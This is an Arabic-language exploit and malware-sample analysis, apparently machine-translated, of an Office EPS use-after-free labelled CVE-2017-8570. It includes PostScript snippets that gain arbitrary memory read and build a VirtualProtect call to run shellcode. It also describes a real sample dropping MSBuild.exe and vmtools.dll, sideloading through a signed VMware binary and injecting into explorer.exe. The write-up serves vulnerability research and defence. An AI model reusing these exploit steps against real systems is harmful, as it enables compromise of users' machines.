
CVE-2017-8570 Exp وتحليل عينات الاستغلال
السبب: عند فتح مستند Office، يتم استخدام FLTLDR.EXE لعرض ملف EPS المضمن الذي يحتوي على الثغرة. هذا الملف مكتوب بلغة PostScript ويمكن للمهاجم استغلاله من خلال عملية "save-restore"، وهو في جوهره ثغرة UAF. عندما يفتح المستخدم ملفًا يحتوي على صورة رسومية غير صحيحة، أو عندما يقوم المستخدم بإدراج صورة رسومية غير صحيحة في ملف Office، يمكن استغلال الثغرة.
الإصدارات المتأثرة: Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, Microsoft Office 2016
POC: kcufId's Github
لقد بحثت طويلاً على الإنترنت، لكني لم أجد حزمة Office تحتوي على EPSIMP32.FLT. لحسن الحظ، قدم الأستاذ kcufId أداة LoadEps.exe لتحميل ملفات EPS، شكرًا للأستاذ kcufId.
LoadEps.exe أولاً يقوم بتحميل EPSIMP32.FLT:

ثم يستدعي ImportGr لبدء تحميل ملف EPS:

هنا نتابع مباشرة باستخدام F7، ثم نتمكن من التوقف عند نقطة التوقف التي تم تعيينها داخل EPSIMP32.FLT.
قبل الدخول في الموضوع، دعنا نقدم بنية كائن Postscript.
// PostScript Object
struct PostScript object
{
dword type;
dword attr;
dword value1;
dword value2; // if array, point to userdict where store the array object
}ps_obj;
حيث أن القيم المقابلة لـ type المختلفة هي كالتالي:
0x0 nulltype
0x3 integertype
0x5 realtype
0x8 booleantype
0x10 operatortype
0x20 marktype
0x40 savetype
0x300 nametype
0x500 stringtype
0x900 filetype
0x30000 arraytype
0x0B0000 packedarraytype
0x70000 packedarraytype
0x110000 dicttype
0x210000 gstatetype
كمثال على السلسلة النصية، نشرح هيكل تخزينها. من خلال تعيين نقطة توقف في دالة forall، يمكننا معرفة كيفية معالجتها للسلاسل النصية (لمعرفة كيفية تحديد موقع دالة forall، راجع https://paper.seebug.org/368/).

الصورة رقم 1 تقابل ps_obj، حيث يشير حقل value2 إلى العنصر المقابل في قائمة الفهارس (الصورة رقم 2). يشير عنصر الفهرس إلى بنية بحجم 0x30، في الموقع 0x24 من هذه البنية يوجد مؤشر لمؤشر إلى بنية بحجم 0x28 (الصورة رقم 5)، والموقع 0x2C يحفظ حجم السلسلة النصية (الصورة رقم 3). في الصورة رقم 5، الموقع 0x4 من البنية يخزن عنوان العنصر المقابل في قائمة الفهارس (أي 0x01DB5E94 من الصورة رقم 4)، والموقع 0x20 يشير إلى موقع التخزين النهائي للسلسلة النصية (الصورة رقم 6)، والموقع 0x24 هو الحجم الفعلي للذاكرة المشغولة — حجم السلسلة النصية + 1.
بنية بحجم 0x30:
+0x0 dword
+0x4 dword
+0x8 dword
+0xc dword
+0x10 dword
+0x14 dword
+0x18 dword
+0x1c dword
+0x20 dword
+0x24 dword pp_struct //指向大小为0x28结构的指针的指针
+0x28 dword
+0x2c dword size //字符串实际大小
بنية بحجم 0x28 (إذا كانت مصفوفة، فإن حجم البنية هو 0x2C، والموقع 0x28 يشير إلى عناصر المصفوفة، كل عنصر هو ps_obj):
+0x0 dword
+0x4 dword //存储该结构于索引列表中对应项的地址
+0x8 dword
+0xc dword
+0x10 dword
+0x14 dword
+0x18 dword
+0x1c dword
+0x20 dword ptr_object //指向字符串最终存储位置
+0x24 dword size //实际所占内存大小,字符串实际大小+1
أول تشغيل للثغرة:

أولاً، يتم حفظ حالة VM في المتغير l62، ثم يتم استدعاء عملية l61 ——>>l59 ——>>l56 لكل حرف في المتغير l63. يقوم l62 restore باستعادة الحالة السابقة، وبالتالي يتم تحرير مساحة الذاكرة المخصصة بواسطة l63 بعد العبارة /l62 save def، مما يجعلها مؤشرًا معلقًا.

المتغيرات l95-l99 تحدد التدفق اللاحق، وقيمها كلها 0 (أي 32 بت):

التشغيل الثاني للثغرة، أولاً يتم تخصيص مساحة ذاكرة بحجم 0x27 (ستشغل فعليًا 0x28) لتخزين l63:

ثم يقوم l62 restore باستعادة الحالة السابقة، مما يؤدي إلى تحرير مساحة الذاكرة المخصصة بواسطة l63، وبالتالي تصبح مؤشرًا معلقًا. بعد ذلك، يتم تنفيذ l100، وسيتم استخدام مساحة الذاكرة التي كانت تشغلها l63 سابقًا لتخزين بنية 0x28 للسلسلة النصية l102 (أي l136) (وهذا يفسر لماذا خصصت l63 مساحة بحجم 0x27):

الحصول على القيم في المواقع 0x4 و 0x20 و 0x24 من هذه البنية:

أخيرًا، تعديل محتوى السلسلة النصية l136 (يوضح الشكل التعديلات الجزئية فقط):

هذه التعديلات مبنية بعناية، وسيتم استخدامها عند التشغيل الثالث للثغرة.
التشغيل الثالث للثغرة، يتم تخصيص مصفوفة تحتوي على 0x37 عنصرًا، ثم في الدورة عند العنصر 0x34 يتم تنفيذ l62 restore:

بعد تنفيذ restore، يتم استبدال بنية 0x30 للمصفوفة بمحتوى السلسلة النصية l193:

وبهذا، يصبح الكائن الذي يتم تنفيذه في عملية forall الأخيرة (0x36) هو بنية 0x30 في الشكل أعلاه، والوصول إلى العنصر 0x36 منه سيؤدي إلى السلسلة النصية التي تم بناؤها بعناية أثناء التشغيل الثاني للثغرة:

والعنصر الذي تم الحصول عليه من المصفوفة هو مصفوفة بحجم 4، وعنصرها الأول هو سلسلة نصية بعنوان بداية 0 وحجم 0x7FFFFFFF:

سيتم تخزين هذه المصفوفة في المتغير l159، وسيتم تخزين عنصرها الأول — السلسلة النصية بعنوان بداية 0 وحجم 0x7FFFFFFF — في المتغير l201، وبعد ذلك يمكن الحصول على قيمة أي عنوان من خلال المتغير l201.
الحصول على العنوان الأساسي لـ kernel32.dll:


وبهذا، يحتوي المتغير l314 على العنوان الأساسي لـ EPSIMP32.FLT.

ملاحظة: بناء جملة الأمر search كما يلي:

البحث عن gadget محدد:


بناء هيكل من نوع file:
l199 l201 get_dword
/l487 exch def
l487 l201 get_dword
/l488 exch def
l488 36 my_add l201 get_dword
/l489 exch def
l489 l201 get_dword
/l490 exch def
l490 32 my_add l201 get_dword
/l491 exch def
l199 l491 l201 put_data_to_array
l199 12 my_sub 2304 l201 put_data_to_array

كتابة البيانات المنشأة إلى العنوان l492 (l491+0x32):
l492 0 l201 put_data_to_array %% 0x00 0
l492 4 my_add l375 l201 put_data_to_array %% 0x04 Address of <5E C3>
l492 8 my_add l373 l201 put_data_to_array %% 0x08 Address of <94 00 00 00 00 5E C3>
l492 12 my_add l377 l201 put_data_to_array %% 0x0C Address of <C2 0C 00>
l492 16 my_add l370 l201 put_data_to_array %% 0x10 Address of VirtualProtect()
l492 20 my_add 0 l201 put_data_to_array %% 0x14 0
l492 24 my_add 0 l201 put_data_to_array %% 0x18 0
l492 28 my_add 0 l201 put_data_to_array %% 0x1C 0
l492 32 my_add l368 l201 put_data_to_array %% 0x20 Address of Shellcode
l492 36 my_add l368 l201 put_data_to_array %% 0x24 Address of Shellcode——lpAddress
l492 40 my_add l349 l201 put_data_to_array %% 0x28 Size of Shellcode——dwSize
l492 44 my_add 64 l201 put_data_to_array %% 0x2C PAGE_EXECUTE_READWRITE——flNewProtect
l492 48 my_add l493 l201 put_data_to_array %% 0x30 lpflOldProtect
أخيرًا، عند تنفيذ تعليمة closefile، يتم الانتقال إلى Shellcode:

توجد البرامج النصية لاستغلال EPS في الدليل \word\media، ويمكن رؤيتها بعد فك الضغط. تتشابه عينات استغلال هذه الثغرة باستثناء جزء Shellcode، لذلك سنأخذ إحدى العينات من منظمة Patchword كمثال للتحليل.
اسم الملف: Cyber_Secure_Pakistan.docx
MD5: DD89BBB916A2C909630EC78CBB0E13E5
الانتقال إلى Shellcode، واستعادة المكدس:

تخصيص الذاكرة:

الحصول على عنوان استدعاء الدالة:

أثناء التصحيح، ربما بسبب مشكلة في البيئة لم يتم الحصول على عنوان استدعاء الدالة CreateToolhelp32Snapshot بنجاح:

نقوم بإدخال العنوان يدويًا وفتح Word لمتابعة التحليل.
تعداد العمليات، والبحث عن WINWORD.exe:

إنشاء برنامج باسم MSBuild.exe في الدليل C:\ProgramData\Microsoft\DeviceSync:

كتابة محتوى الملف، حيث يتم تخزين هذا المحتوى في المتغير payload_32 داخل البرنامج النصي EPS:


إنشاء ملف vmtools.dll:

كتابة محتوى الملف، حيث يتم تخزين هذا المحتوى في المتغير payload_32_f2 داخل البرنامج النصي EPS:


إنشاء ملف VMwareCplLauncher.exe:

يتم تخزين محتواه في المتغير payload_32_f1 داخل البرنامج النصي EPS:

هذا الملف هو ملف أبيض (موثوق) موقّع من Vmware:

حقن المحتوى التالي في explorer.exe:

وظيفته هي إنشاء عملية VMwareCplLauncher.exe:

تم ذكر التدفق اللاحق في هذا التقرير من 360، وهذه المقالة لا تتناول جزء التحليل الخاص به في الوقت الحالي:

يمكن للقارئ المهتم قراءة المزيد من هذا التقرير.
ملاحظة: تتشابه عينات استغلال هذه الثغرة بشكل أساسي، والاختلاف يكمن في الحمولة النهائية MSBuild.exe، والتي يتم تخزينها في المتغير payload_32 داخل البرنامج النصي EPS، ويمكن تفريغها مباشرة، وبعد إكمال رأس ملف DOS يمكن سحبها إلى IDA للتحليل.